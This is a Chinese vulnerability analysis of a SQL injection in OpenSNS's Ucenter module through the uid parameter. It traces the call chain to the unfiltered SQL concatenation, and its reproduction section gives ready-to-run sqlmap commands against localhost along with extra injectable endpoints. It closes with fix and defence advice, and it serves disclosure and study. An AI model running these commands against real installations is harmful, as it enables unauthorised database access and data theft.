OpenSNS SQL注入(一)
字数 1386 2025-08-27 12:33:31

OpenSNS SQL注入漏洞分析与利用

0x01 漏洞概述

OpenSNS是一款基于OneThink的轻量级社交化用户中心框架,采用PHP+MYSQL构建。该系统存在SQL注入漏洞,攻击者可通过构造恶意请求获取数据库敏感信息。

0x02 漏洞分析

漏洞位置

漏洞存在于OpenSNS的Ucenter模块中,具体文件路径为:

  • ./Application/Ucenter/Controller/ConfigController.class.php
  • ./Application/Common/Common/query_user.php
  • ./Application/Common/Model/UserModel.class.php

漏洞触发流程

  1. 初始化阶段 (ConfigController.class.php中的_initialize方法)

    • 第15行:使用三元运算符判断是否设置了$_GET['uid']
    • 第17行:调用userInfo方法并传入$uid参数
  2. 用户信息查询 (ConfigController.class.php中的userInfo方法)

    • 第1117行:调用query_user函数并传入数组和$uid参数
  3. 通用查询函数 (query_user.php中的query_user函数)

    • 第17行:判断$uid是否为null
    • 第18行:调用UserModel中的query_user方法
  4. 模型查询 (UserModel.class.php中的query_user方法)

    • 第118行:调用getNeedQueryData方法处理查询数据
  5. SQL注入点 (UserModel.class.php中的getNeedQueryData方法)

    • 第67行:使用array_intersect函数处理查询字段
    • 第71行:关键漏洞点 - 直接将外部参数拼接到SQL语句中,未做任何过滤

0x03 漏洞复现

准备工作

  1. 注册一个OpenSNS账号
  2. 登录系统获取有效会话

利用步骤

使用SQLMap工具进行自动化注入测试:

  1. 检测注入点:
sqlmap.py -u "http://localhost/index.php?s=/ucenter/Config/&uid=1*" --cookie "PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7; UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7; CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T --dbms "mysql"
  1. 检查DBA权限:
sqlmap.py -u "http://localhost/index.php?s=/ucenter/Config/&uid=1*" --cookie "PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7; UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7; CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T --dbms "mysql" --is-dba
  1. 获取当前数据库:
sqlmap.py -u "http://localhost/index.php?s=/ucenter/Config/&uid=1*" --cookie "PHPSESSID=hvvkoc2sef0l1kemdrvnknd2s7; UM_distinctid=16bda55e991192-05e2b3083ccb28-1368624a-144000-16bda55e992c7; CNZZDATA1254932726=287816123-1562732483-%7C1562738136" --batch --technique=T --dbms "mysql" --current-db

其他注入点

系统还存在其他类似的注入点:

  • http://localhost/index.php?s=/ucenter/index/index&uid=10
  • http://localhost/index.php?s=/ucenter/index/information&uid=10

0x04 漏洞修复建议

  1. 对用户输入的uid参数进行严格过滤和类型转换
  2. 使用预处理语句或ORM框架进行数据库操作
  3. 在SQL拼接处添加参数绑定机制
  4. 对数字型参数使用intval()等函数进行强制类型转换

0x05 技术要点总结

  1. 漏洞根源在于未过滤的用户输入直接拼接到SQL语句
  2. 利用链涉及多个文件和方法调用
  3. 注入点为数字型注入,可通过uid参数触发
  4. 系统使用ThinkPHP框架,但未充分利用其安全机制
  5. 漏洞影响范围包括多个Ucenter模块的接口

0x06 防御措施

  1. 对所有用户输入进行验证和过滤
  2. 使用框架提供的安全查询方法
  3. 实施最小权限原则,限制数据库用户权限
  4. 定期进行安全审计和代码审查
  5. 部署WAF等防护设备拦截恶意请求
OpenSNS SQL注入漏洞分析与利用 0x01 漏洞概述 OpenSNS是一款基于OneThink的轻量级社交化用户中心框架,采用PHP+MYSQL构建。该系统存在SQL注入漏洞,攻击者可通过构造恶意请求获取数据库敏感信息。 0x02 漏洞分析 漏洞位置 漏洞存在于OpenSNS的Ucenter模块中,具体文件路径为: ./Application/Ucenter/Controller/ConfigController.class.php ./Application/Common/Common/query_user.php ./Application/Common/Model/UserModel.class.php 漏洞触发流程 初始化阶段 ( ConfigController.class.php 中的 _initialize 方法) 第15行:使用三元运算符判断是否设置了 $_GET['uid'] 第17行:调用 userInfo 方法并传入 $uid 参数 用户信息查询 ( ConfigController.class.php 中的 userInfo 方法) 第1117行:调用 query_user 函数并传入数组和 $uid 参数 通用查询函数 ( query_user.php 中的 query_user 函数) 第17行:判断 $uid 是否为null 第18行:调用 UserModel 中的 query_user 方法 模型查询 ( UserModel.class.php 中的 query_user 方法) 第118行:调用 getNeedQueryData 方法处理查询数据 SQL注入点 ( UserModel.class.php 中的 getNeedQueryData 方法) 第67行:使用 array_intersect 函数处理查询字段 第71行: 关键漏洞点 - 直接将外部参数拼接到SQL语句中,未做任何过滤 0x03 漏洞复现 准备工作 注册一个OpenSNS账号 登录系统获取有效会话 利用步骤 使用SQLMap工具进行自动化注入测试: 检测注入点: 检查DBA权限: 获取当前数据库: 其他注入点 系统还存在其他类似的注入点: http://localhost/index.php?s=/ucenter/index/index&uid=10 http://localhost/index.php?s=/ucenter/index/information&uid=10 0x04 漏洞修复建议 对用户输入的 uid 参数进行严格过滤和类型转换 使用预处理语句或ORM框架进行数据库操作 在SQL拼接处添加参数绑定机制 对数字型参数使用 intval() 等函数进行强制类型转换 0x05 技术要点总结 漏洞根源在于未过滤的用户输入直接拼接到SQL语句 利用链涉及多个文件和方法调用 注入点为数字型注入,可通过 uid 参数触发 系统使用ThinkPHP框架,但未充分利用其安全机制 漏洞影响范围包括多个Ucenter模块的接口 0x06 防御措施 对所有用户输入进行验证和过滤 使用框架提供的安全查询方法 实施最小权限原则,限制数据库用户权限 定期进行安全审计和代码审查 部署WAF等防护设备拦截恶意请求